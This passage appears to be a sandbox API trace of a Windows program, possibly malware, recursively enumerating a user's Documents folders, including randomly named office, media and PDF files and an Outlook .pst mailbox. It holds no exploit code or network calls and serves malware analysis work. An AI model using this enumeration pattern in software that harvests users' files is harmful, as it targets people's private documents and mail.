ftCreationTime.dwHighDateTime=0x1d4cb95, ftLastAccessTime.dwLowDateTime=0x3c308820, ftLastAccessTime.dwHighDateTime=0x1d4d53a, ftLastWriteTime.dwLowDateTime=0x3c308820, ftLastWriteTime.dwHighDateTime=0x1d4d53a, nFileSizeHigh=0x0, nFileSizeLow=0xf6f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QdsM.bmp", cAlternateFileName="")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636db1d0, ftCreationTime.dwHighDateTime=0x1d4ce17, ftLastAccessTime.dwLowDateTime=0x328fd9f0, ftLastAccessTime.dwHighDateTime=0x1d4cd6b, ftLastWriteTime.dwLowDateTime=0x328fd9f0, ftLastWriteTime.dwHighDateTime=0x1d4cd6b, nFileSizeHigh=0x0, nFileSizeLow=0xd19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="seA7TG2NfEjVmCk47L.swf", cAlternateFileName="SEA7TG~1.SWF")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2326f840, ftCreationTime.dwHighDateTime=0x1d4c74e, ftLastAccessTime.dwLowDateTime=0x2bcf9a50, ftLastAccessTime.dwHighDateTime=0x1d4c5e7, ftLastWriteTime.dwLowDateTime=0x2bcf9a50, ftLastWriteTime.dwHighDateTime=0x1d4c5e7, nFileSizeHigh=0x0, nFileSizeLow=0x12371, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tAm2MqanHQ.mp4", cAlternateFileName="TAM2MQ~1.MP4")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2400e50, ftCreationTime.dwHighDateTime=0x1d4c64f, ftLastAccessTime.dwLowDateTime=0xb2a6a760, ftLastAccessTime.dwHighDateTime=0x1d4ced1, ftLastWriteTime.dwLowDateTime=0xb2a6a760, ftLastWriteTime.dwHighDateTime=0x1d4ced1, nFileSizeHigh=0x0, nFileSizeLow=0x8df5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UFvFkY3N9hbJPN MXkkx.wav", cAlternateFileName="UFVFKY~1.WAV")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7a72310, ftCreationTime.dwHighDateTime=0x1d4c806, ftLastAccessTime.dwLowDateTime=0x17932020, ftLastAccessTime.dwHighDateTime=0x1d4cfe7, ftLastWriteTime.dwLowDateTime=0x17932020, ftLastWriteTime.dwHighDateTime=0x1d4cfe7, nFileSizeHigh=0x0, nFileSizeLow=0xba41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wYQXyL4TNJyXDwt.xls", cAlternateFileName="WYQXYL~1.XLS")) returned 1 [0112.769] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223e2c40, ftCreationTime.dwHighDateTime=0x1d4d5af, ftLastAccessTime.dwLowDateTime=0x5dae5d70, ftLastAccessTime.dwHighDateTime=0x1d4cbe3, ftLastWriteTime.dwLowDateTime=0x5dae5d70, ftLastWriteTime.dwHighDateTime=0x1d4cbe3, nFileSizeHigh=0x0, nFileSizeLow=0xed62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XECTs3JItZ.pps", cAlternateFileName="XECTS3~1.PPS")) returned 1 [0112.769] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 1 [0112.769] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 0 [0112.769] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.769] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.769] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741048 | out: hHeap=0x660000) returned 1 [0112.769] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.769] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0112.769] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.770] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.770] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.770] PathFindFileNameW (pszPath="") returned="" [0112.770] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 0xffffffff [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33202a0 | out: hHeap=0x660000) returned 1 [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33204f8 | out: hHeap=0x660000) returned 1 [0112.770] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0112.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.770] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.770] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.770] PathFindFileNameW (pszPath="") returned="" [0112.770] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 0xffffffff [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33202a0 | out: hHeap=0x660000) returned 1 [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33204f8 | out: hHeap=0x660000) returned 1 [0112.770] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0112.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.771] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.771] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.771] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.771] PathFindFileNameW (pszPath="") returned="" [0112.771] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33202a0 | out: hHeap=0x660000) returned 1 [0112.772] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.772] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.772] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0112.772] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0112.772] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0112.772] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33204f8 | out: hHeap=0x660000) returned 1 [0112.772] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0112.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.772] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.772] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.772] PathFindFileNameW (pszPath="") returned="" [0112.772] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0112.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33206d8 | out: hHeap=0x660000) returned 1 [0112.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33204f8 | out: hHeap=0x660000) returned 1 [0112.772] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\") returned="OstAGQ_x8J4h\\" [0112.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.773] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.773] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.773] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.773] PathFindFileNameW (pszPath="") returned="" [0112.773] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d671e0, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0x95bbcd0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x95bbcd0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33206d8 | out: hHeap=0x660000) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d671e0, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0x95bbcd0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x95bbcd0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca73550, ftCreationTime.dwHighDateTime=0x1d4cd16, ftLastAccessTime.dwLowDateTime=0x41f93160, ftLastAccessTime.dwHighDateTime=0x1d4cca4, ftLastWriteTime.dwLowDateTime=0x41f93160, ftLastWriteTime.dwHighDateTime=0x1d4cca4, nFileSizeHigh=0x0, nFileSizeLow=0x2923, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cWhuivOd.ods", cAlternateFileName="")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdef87690, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x26ed9110, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0x26ed9110, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GYsSjG-g6A Jpf", cAlternateFileName="GYSSJG~1")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf799b70, ftCreationTime.dwHighDateTime=0x1d4c9d0, ftLastAccessTime.dwLowDateTime=0xb9290810, ftLastAccessTime.dwHighDateTime=0x1d4d01d, ftLastWriteTime.dwLowDateTime=0xb9290810, ftLastWriteTime.dwHighDateTime=0x1d4d01d, nFileSizeHigh=0x0, nFileSizeLow=0xd116, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IrPWAmnZ4jkLi8.xlsx", cAlternateFileName="IRPWAM~1.XLS")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28148b40, ftCreationTime.dwHighDateTime=0x1d4c962, ftLastAccessTime.dwLowDateTime=0x6d0dbab0, ftLastAccessTime.dwHighDateTime=0x1d4c5f6, ftLastWriteTime.dwLowDateTime=0x6d0dbab0, ftLastWriteTime.dwHighDateTime=0x1d4c5f6, nFileSizeHigh=0x0, nFileSizeLow=0xd05d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nI-a EyZHIqzRrkt2.pdf", cAlternateFileName="NI-AEY~1.PDF")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcb3b0, ftCreationTime.dwHighDateTime=0x1d4c840, ftLastAccessTime.dwLowDateTime=0x656a0ad0, ftLastAccessTime.dwHighDateTime=0x1d4c5c3, ftLastWriteTime.dwLowDateTime=0x656a0ad0, ftLastWriteTime.dwHighDateTime=0x1d4c5c3, nFileSizeHigh=0x0, nFileSizeLow=0x149b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oyegcKVpN.pdf", cAlternateFileName="OYEGCK~1.PDF")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b3b6c0, ftCreationTime.dwHighDateTime=0x1d4c93d, ftLastAccessTime.dwLowDateTime=0xc6454cc0, ftLastAccessTime.dwHighDateTime=0x1d4cc99, ftLastWriteTime.dwLowDateTime=0xc6454cc0, ftLastWriteTime.dwHighDateTime=0x1d4cc99, nFileSizeHigh=0x0, nFileSizeLow=0xf95b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHHCf1DuRREhYQ07.ods", cAlternateFileName="QHHCF1~1.ODS")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b4bd60, ftCreationTime.dwHighDateTime=0x1d4c593, ftLastAccessTime.dwLowDateTime=0x8a5a2f0, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0x8a5a2f0, ftLastWriteTime.dwHighDateTime=0x1d4d270, nFileSizeHigh=0x0, nFileSizeLow=0xe347, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S5Y2z-QfT_jhbg-.doc", cAlternateFileName="S5Y2Z-~1.DOC")) returned 1 [0112.777] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b4bd60, ftCreationTime.dwHighDateTime=0x1d4c593, ftLastAccessTime.dwLowDateTime=0x8a5a2f0, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0x8a5a2f0, ftLastWriteTime.dwHighDateTime=0x1d4d270, nFileSizeHigh=0x0, nFileSizeLow=0xe347, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S5Y2z-QfT_jhbg-.doc", cAlternateFileName="S5Y2Z-~1.DOC")) returned 0 [0112.777] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.778] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.778] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33204f8 | out: hHeap=0x660000) returned 1 [0112.778] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0112.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.778] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.778] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.778] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.778] PathFindFileNameW (pszPath="") returned="" [0112.778] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.779] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33202a0 | out: hHeap=0x660000) returned 1 [0112.779] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.779] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0112.779] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0112.779] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.779] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.779] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33204f8 | out: hHeap=0x660000) returned 1 [0112.779] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 